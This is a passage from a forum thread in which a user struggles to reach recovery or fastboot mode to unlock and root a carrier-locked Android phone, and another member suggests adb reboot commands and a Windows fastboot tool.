3. When you are done with the extraction you open the tool by clicking on Android Fastboot .exe file as Adminstrator.
Note: Never have tried out this.
Click to expand...
Click to collapse
Rebooting recovery gives me the little green guy passed out with a triangle with exclamation mark as a heart and says no command. I clicked the buttons you're supposed to click with that error to get the recovery options, but it just reboots. Sometimes though very randomly I do get to a place to wipe data and reset the phone. So I say the recovery works about .05% of the time. Unfortunately I can't flash new partitions with dd without root so no changing the boot.img or recovery.img like I had hoped either. Thank you! I haven't saw that tool before, I'm on Linux right now, but will download it as soon as I get back on Windows. I'll update after I try it.
Still need to try
jwoegerbauer said:
@sjjtnj
It's well known that not all OEMs/Carriers support Fastboot as intended by Google. They think that providing Revovery is enough.
FYI: The phone in question has a Recovery partition - as that's default with all Android devices. You enter Recovery mode this way
Code:
adb devices
adb shell "reboot recovery"
Now once you are in recovery, ADB will work instead of Fastboot.
Anyway:
Have you already tried
to unlock phone's bootloader - what requires the USB drivers suitable at 100% to the phone are got installed on your Windows computer?
How-To:
1. Download the Android Fastboot Tool v1.2 from here.
2. Once you have downloaded the file, extract the zip file.
3. When you are done with the extraction you open the tool by clicking on Android Fastboot .exe file as Adminstrator.
Note: Never have tried out this.
Click to expand...
Click to collapse
Sorry I haven't got this tried yet. I was trying to set up my Linux when it messed up and I had to restart the process. I'm keeping backups this time, but anyway just finishing that because I had to stop when I got a concussion. On the picture, it says to get in fastboot mode. I can't do that only download mode. So I don't think it will work, but I'll still try. I decided I'm going to rebuy the phone from Walmart that has Nougat and fastboot still enabled. That seems my only hope to unlock a phone and root it. The Nougat version is also ARB00 so I can flash firmware of a variant on that one if I need to as well. I know it sounds crazy to buy the same phone, but it's really all I can afford at this time. I'm saving up money for a better phone though, and my nephew has a really bad phone right now. So I can just give this one to him. He doesn't need root or anything so he'll like it.